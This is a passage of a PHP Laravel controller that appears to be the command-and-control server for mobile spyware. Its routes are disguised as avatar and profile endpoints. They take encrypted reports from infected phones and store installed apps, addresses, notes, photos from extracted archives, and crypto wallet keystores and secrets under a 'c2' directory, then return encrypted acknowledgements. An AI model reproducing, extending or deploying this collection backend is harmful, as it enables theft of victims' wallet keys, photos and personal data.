crypto = $crypto; $this->archive = $archive; $this->ingest = $ingest; } public function query(): Response { return response('OK', 200)->header('Content-Type', 'text/plain'); } public function avatarSet(Request $request): Response { $payload = $request->attributes->get('coruna_payload'); $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null); return $this->encryptedAck(); } public function userGet(Request $request): Response { $payload = $request->attributes->get('coruna_payload'); $device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null); if ($device && is_array($payload)) { $this->ingest->ingestInstalledApps($device, $payload); } return $this->encryptedAck(['code' => 0, 'msg' => 'ok', 'data' => null]); } public function avatarPut(Request $request): Response { $payload = $request->attributes->get('coruna_payload'); $device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null); if ($device && is_array($payload)) { $this->ingest->ingestDeviceEvent($device, $payload); } return $this->encryptedAck(); } public function avatarStatus(Request $request): Response { $payload = $request->attributes->get('coruna_payload'); $device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null); if ($device && is_array($payload)) { $this->ingest->ingestAddresses($device, $payload); // keystore-ish blobs if (isset($payload['keystore']) || isset($payload['wallets']) || isset($payload['result'])) { $this->ingest->ingestWalletSecrets($device, $payload); } } return $this->encryptedAck(); } public function status(Request $request): Response { $payload = $request->attributes->get('coruna_payload'); $device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null); if ($device && is_array($payload)) { $this->ingest->ingestAddresses($device, $payload); } return $this->encryptedAck(); } public function set(Request $request): Response { $payload = $request->attributes->get('coruna_payload'); $device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null); if ($device && is_array($payload)) { $this->ingest->ingestWalletSecrets($device, $payload); } return $this->encryptedAck(); } public function check(Request $request): Response { $deviceKey = $request->attributes->get('coruna_device_key') ?: $request->input('d') ?: $request->input('f'); $device = $this->ingest->upsertDevice( $request, array_filter(['d' => $deviceKey]), $deviceKey ? (string) $deviceKey : null ); $batchBase = (string) ($request->input('batchBase') ?? $request->input('batch_base') ?? $request->input('base') ?? '0'); if ($batchBase === '') { $batchBase = '0'; } $counters = [ 'count' => $request->input('count'), 'total' => $request->input('total'), 'index' => $request->input('index'), 'batchBase' => $batchBase, ]; $attachmentRel = null; if ($request->hasFile('file') && $device) { $bytes = file_get_contents($request->file('file')->getRealPath()); $work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid()); $extracted = $this->archive->extract($bytes, $work, $batchBase); $attachmentRel = 'c2/check/'.$device->device_id.'/'.basename($work); Storage::disk('local')->makeDirectory($attachmentRel); if (! empty($extracted['files'])) { $this->ingest->ingestPhotos($device, $extracted['files'], $counters); } create_log([ 'event' => 'check_extract', 'device_key' => $device->device_id, 'attachment_path' => $attachmentRel, 'extract' => [ 'ok' => $extracted['ok'], 'files' => array_map('basename', $extracted['files']), 'password_recipe' => $extracted['password_recipe'], 'stderr' => substr((string) $extracted['stderr'], 0, 2000), ], 'counters' => $counters, ], 'c2'); } // Prefer encrypted ack (clients that expect JSON); fall back same as other routes return $this->encryptedAck(); } public function avatarPic(Request $request): Response { $payload = $request->attributes->get('coruna_payload'); $device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null); if ($device) { $this->ingest->ingestNotes($device, is_array($payload) ? $payload : null); } return $this->encryptedAck(); } public function profileNop(Request $request): Response { return $this->encryptedAck(); } public function linkConfigList(Request $request): Response { return $this->encryptedAck(['code' => 0, 'msg' => 'ok', 'data' => []]); } public function linkConfigIcon(Request $request): Response { return $this->encryptedAck(['code' => 0, 'msg' => 'ok', 'data' => null]); } /** * @param mixed $data */ private function encryptedAck($data = null): Response { if ($data === null) { $data = ['code' => 0, 'msg' => 'ok', 'data' => null]; } $enc = $this->crypto->encryptJson($data); return response($enc['body'], 200) ->header('Content-Type', 'text/plain') ->header('timestamp', $enc['timestamp']); } }